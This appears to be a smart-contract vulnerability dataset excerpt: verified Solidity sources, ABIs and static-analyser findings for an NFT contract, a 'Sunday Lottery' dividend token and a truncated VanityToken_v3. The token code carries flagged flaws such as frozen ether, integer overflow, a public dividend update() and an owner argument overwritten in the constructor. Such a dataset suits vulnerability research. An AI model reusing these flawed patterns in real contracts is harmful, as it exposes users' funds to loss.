"SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 615, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 618, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 621, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 624, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1014, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1017, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1020, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1023, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1179, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 965, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 325, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 591, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 968, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 353, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 629, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1186, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1246, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 353, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 353, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 354, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 354, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 354, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 354, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 356, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 356, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 356, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1237, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_initBaseURI","type":"string"},{"internalType":"string","name":"_initNotRevealedUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"notRevealedUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseExtension","type":"string"}],"name":"setBaseExtension","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_notRevealedURI","type":"string"}],"name":"setNotRevealedURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newmaxMintAmount","type":"uint256"}],"name":"setmaxMintAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.7+commit.e28d00a7 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000010536872657764205361626f746575727300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000653687265776400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d5a3365323662547574387763576e6b3576387066535145696353464c554856474871325a33726848314564432f000000000000000000000000000000000000000000000000000000000000000000000000000000000041697066733a2f2f516d537975426770773170586759595a4c474b48384c647777395545657669344d527351737a47785257375376312f68696464656e2e6a736f6e00000000000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://6326a82d2a5360dccafeaa468b020a9c847d45acd9857b956910f5427857e1c4 |
||
Token | 0x09c9ab524379b0e426ac71a060a04b4fc52a58a5 | Solidity | pragma solidity >0.4.99 <0.6.0;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract IERC20 {
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Withdraw(address indexed account, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
mapping(address => uint256) private dividendBalanceOf;
mapping(address => uint256) private dividendCreditedTo;
uint256 private _dividendPerToken;
uint256 private _totalSupply;
uint256 private _totalEthWithdraw;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function totalEthWithdraw() public view returns (uint256) {
return _totalEthWithdraw;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
update(msg.sender);
updateNewOwner(to);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
update(from);
updateNewOwner(to);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function viewMyDividend() public view returns (uint256) {
return dividendBalanceOf[msg.sender];
}
function withdraw() public payable {
update(msg.sender);
uint256 amount = dividendBalanceOf[msg.sender];
if (amount <= address(this).balance) {
dividendBalanceOf[msg.sender] = 0;
emit Withdraw(msg.sender, amount);
msg.sender.transfer(amount);
_totalEthWithdraw = _totalEthWithdraw.add(amount);
}
}
function dividendPerToken() public view returns (uint256) {
return _dividendPerToken;
}
function update(address account) public {
uint256 newBalance = address(this).balance.add(_totalEthWithdraw);
_dividendPerToken = newBalance.div(_totalSupply);
uint256 owed = _dividendPerToken.sub(dividendCreditedTo[account]);
dividendBalanceOf[account] = balanceOf(account).mul(owed);
dividendCreditedTo[account] = _dividendPerToken;
}
function updateNewOwner(address account) internal {
dividendCreditedTo[account] = _dividendPerToken;
}
function dividendCreditedOf(address owner) public view returns (uint256) {
return dividendCreditedTo[owner];
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract Token is ERC20, ERC20Detailed {
using SafeMath for uint256;
uint8 public constant DECIMALS = 0;
uint256 public constant INITIAL_SUPPLY = 100 * (10 ** uint256(DECIMALS));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor (address owner) public ERC20Detailed("Sunday Lottery", "SNDL", DECIMALS) {
require(owner != address(0));
owner = msg.sender; // for test's
_mint(owner, INITIAL_SUPPLY);
}
function() payable external {
}
function balanceETH() public view returns(uint256) {
return address(this).balance;
}
} | [{"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["369"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["374"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [323, 324, 325, 326]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [293, 294, 295, 296, 297, 298, 299]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [64, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [364, 365, 366]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [357, 358, 359]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [256, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [352, 350, 351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [72]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [76]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [218, 219, 220, 221]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [203, 204, 205, 206]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [78]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [224, 225, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [128, 129, 130]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [240, 238, 239]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [227, 228, 229, 230, 231, 232, 233, 234, 235, 236]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [82]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [388, 389, 390]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [74]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [1]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Token.sol": [357, 358, 359]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Token.sol": [364, 365, 366]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Token.sol": [352, 350, 351]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [234]}}] | [] | [{"rule": "SOLIDITY_ERC20_APPROVE", "line": 172, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 369, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 107, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 109, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 111, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 113, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 115, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 117, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 119, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 337, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 338, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 339, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 105, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 370, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"}],"name":"update","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"dividendCreditedOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"DECIMALS","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"totalEthWithdraw","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"dividendPerToken","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"viewMyDividend","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"balanceETH","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"owner","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Withdraw","type":"event"}] | v0.5.7+commit.6da8b019 | true | 200 | 000000000000000000000000a57aeb1145ab9ffceba6dc23bef419570bd38110 | Default | false | bzzr://23488bf88ebcc666a60ab804306b4a314e753d3cf5358e6f08360f4a9ca704af |
|||
VanityToken_v3 | 0x7777777c85eb309d937bddc80d74eeae7205503a | Solidity | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
